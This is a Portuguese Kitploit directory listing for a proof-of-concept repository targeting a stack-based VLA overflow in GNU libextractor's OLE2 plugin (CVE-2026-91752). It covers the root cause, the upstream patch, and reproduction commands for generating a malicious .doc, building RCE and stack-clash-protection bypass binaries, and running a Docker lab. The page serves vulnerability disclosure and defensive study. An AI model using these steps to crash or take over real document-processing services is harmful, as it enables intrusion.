Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
libextractor-ole2-rce — PoC para um estouro de buffer crítico baseado em pilha no GNU libextractor ≤ 1.14. Um arquivo .doc malicioso aciona uma alocação VLA sem limites, causando DoS incondicional. Em ambientes multi-thread, contorna as proteções de stack-clash para RCE completo. | Kitploit
Ferramentas/GitHubGitHub/haitam-lazaar/libextractor-ole2-rce
Forensia de MemóriaGeração de PayloadsAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoExploração de BináriosLabs e Prática
GitHubhaitam-lazaar/libextractor-ole2-rce

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

libextractor-ole2-rce

PoC para um estouro de buffer crítico baseado em pilha no GNU libextractor ≤ 1.14. Um arquivo .doc malicioso aciona uma alocação VLA sem limites, causando DoS incondicional. Em ambientes multi-thread, contorna as proteções de stack-clash para RCE completo.

Ver Repositório
7há 3 diasAinda não revisado

CVE-2026-91752: Stack Overflow no GNU libextractor via OLE2

Resumo

Um buffer overflow baseado em pilha no plugin OLE2 do GNU libextractor permite negação de serviço remota (crash) e execução de código ao processar um arquivo .doc criado maliciosamente. A vulnerabilidade está em process_star_office() (ole2_extractor.c:349), que aloca um Variable Length Array de até 4MB na pilha com base em dados do arquivo controlados pelo atacante.

Impacto Primário: Negação de Serviço Remota — derruba qualquer aplicação que processe o arquivo malicioso
Impacto Secundário: Execução Remota de Código via bypass de -fstack-clash-protection por pilha de thread adjacente

CampoValor
CVECVE-2026-91752
ProdutoGNU libextractor
Versões Afetadas< 1.15 (todas as versões até 1.14)
Versão Corrigida1.15
CVSS 4.08.7 ALTO (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N)
CVSS 3.17.5 ALTO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
SeveridadeALTA (DoS) / CRÍTICA (RCE em modo multi-threaded in-process)
CWECWE-789 (Alocação de Memória com Valor de Tamanho Excessivo) / CWE-121 (Buffer Overflow Baseado em Pilha)
Vetor de AtaqueRede (qualquer caminho de processamento de arquivo)
Privilégios NecessáriosNenhum
Interação do UsuárioNenhuma
CNAVulnCheck
PesquisadorHaitam Lazaar

Nota: GCC moderno (≥8) habilita -fstack-clash-protection por padrão, o que em aplicações single-threaded converte o overflow explorável em um crash seguro. No entanto, essa mitigação pode ser contornada em aplicações multi-threaded onde as pilhas das threads são adjacentes na memória — as sondagens do VLA avançam com sucesso para a pilha da thread vizinha, permitindo execução completa de código mesmo em builds com hardening. Veja docs/BYPASS.md para detalhes.

Software Afetado

  • GNU libextractor ≤ 1.14 (todas as versões com o plugin OLE2)
  • Qualquer aplicação que use libextractor para processar arquivos .doc não confiáveis
  • GNUnet (indexador de compartilhamento de arquivos)

Demonstração Rápida

root@kitploit:~
# Generate malicious .doc
python3 poc/gen_payload.py exploit.doc

# Any application that processes this file with libextractor crashes:
extract exploit.doc                    # CLI tool → OLE2 plugin worker crashes
gnunet-publish exploit.doc             # GNUnet → gnunet-helper-fs-publish crashes

Prova de Conceito (Demonstração em Laboratório)

Remote Code Execution Demo

A animação acima demonstra o ambiente de laboratório automatizado fornecido no diretório lab-setup/. Ao simplesmente executar docker compose up, um contêiner atacante gera automaticamente o payload .doc malicioso e o envia para um serviço web vulnerável de Indexação de Documentos. A lógica de parsing do libextractor dispara o stack overflow do VLA, permitindo ao atacante alcançar silenciosamente execução arbitrária de código. Verificamos o exploit executando cat /tmp/pwned no contêiner alvo para ver a saída do comando.

Estrutura do Repositório

root@kitploit:~
├── poc/                    # Proof of concept
│   ├── gen_payload.py      # Generates malicious .doc trigger file
│   ├── poc_rce.c           # Demonstrates code execution (protection disabled)
│   └── bypass_rce.c        # Stack-clash-protection bypass (multi-threaded)
├── exploit/                # Exploitation details
│   ├── remote_exploit.sh   # Example: triggering via HTTP upload (lab scenario)
│   └── extract_server.c    # Example: vulnerable application using libextractor
├── patches/                # Recommended fix
│   └── 0001-fix-ole2-vla.patch
├── lab-setup/              # Reproducible test environment
│   ├── Dockerfile          # Builds vulnerable libextractor from source
│   ├── docker-compose.yml  # Full lab (includes HTTP upload as one test vector)
│   └── upload_server.py    # Document indexing service simulation
└── docs/
    ├── BYPASS.md           # Stack-clash-protection bypass technique
    └── PAYLOAD_STRUCTURE.md # Malicious .doc file format documentation

Reprodução

Crash / DoS (funciona em qualquer sistema)

root@kitploit:~
# Build libextractor from source
./configure && make && sudo make install

# Generate trigger file
python3 poc/gen_payload.py exploit.doc

# Crash any libextractor consumer
extract exploit.doc   # crashes the OLE2 plugin worker

Execução de Código (proteção desabilitada)

root@kitploit:~
gcc -O2 -fno-stack-clash-protection -o poc_rce poc/poc_rce.c -lextractor
ulimit -s 2048
./poc_rce exploit.doc   # executes attacker payload (exit code 42)

Execução de Código (bypass de proteção, multi-threaded)

root@kitploit:~
gcc -O2 -fstack-clash-protection -o bypass_rce poc/bypass_rce.c -lextractor -lpthread
./bypass_rce exploit.doc   # bypasses protection, executes payload (exit code 42)

Laboratório Docker

root@kitploit:~
docker-compose -f lab-setup/docker-compose.yml up -d

Causa Raiz

root@kitploit:~
// src/plugins/ole2_extractor.c:349
off_t size = gsf_input_size(src);        // Attacker controls via OLE2 stream
if (size > 4 * 1024 * 1024) return 0;   // Max 4MB allowed — but stack is 1-8MB
char buf[size];                           // VLA: up to 4MB ON THE STACK
gsf_input_read(src, size, buf);           // Write attacker data

Sem -fstack-clash-protection, o compilador gera:

root@kitploit:~
sub %rax, %rsp    ; Single instruction, jumps RSP past guard page

Com -fstack-clash-protection, as sondagens ainda podem ser contornadas em contextos multi-threaded (veja docs/BYPASS.md).

Patch Oficial (libextractor 1.15)

root@kitploit:~
-  if ( (size < 0x374) ||
-       (size > 4 * 1024 * 1024) )
+  char buf[0x374];
+
+  if (size < 0x374)
     return 0;
-  {
-    char buf[size];
-    gsf_input_read (src, size, (unsigned char*) buf);
+  gsf_input_read (src, sizeof(buf), (unsigned char*) buf);

Referências

  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-91752
  • Entrada NVD: https://nvd.nist.gov/vuln/detail/cve-2026-91752
  • Advisory da VulnCheck: https://www.vulncheck.com/advisories/gnu-libextractor-before-1.15-stack-overflow-via-ole2
  • Commits do Patch Upstream:
    • Commit 04004eb1
    • Commit 2781c7e9
  • Produto: https://www.gnu.org/software/libextractor/

Créditos

Descoberto por mim (Haitam Lazaar) durante minha pesquisa de segurança independente.

Agradecimentos

Agradecimentos especiais a Christian Grothoff, mantenedor do GNU libextractor, por sua triagem incrivelmente rápida, comunicação profissional e implantação ágil de patches (v1.15, v1.16 e v1.17) para resolver este e vários outros problemas de segurança de memória relatados durante esta auditoria.

Licença

Minha pesquisa é fornecida para fins educacionais e defensivos. Use com responsabilidade.

Baixar ferramenta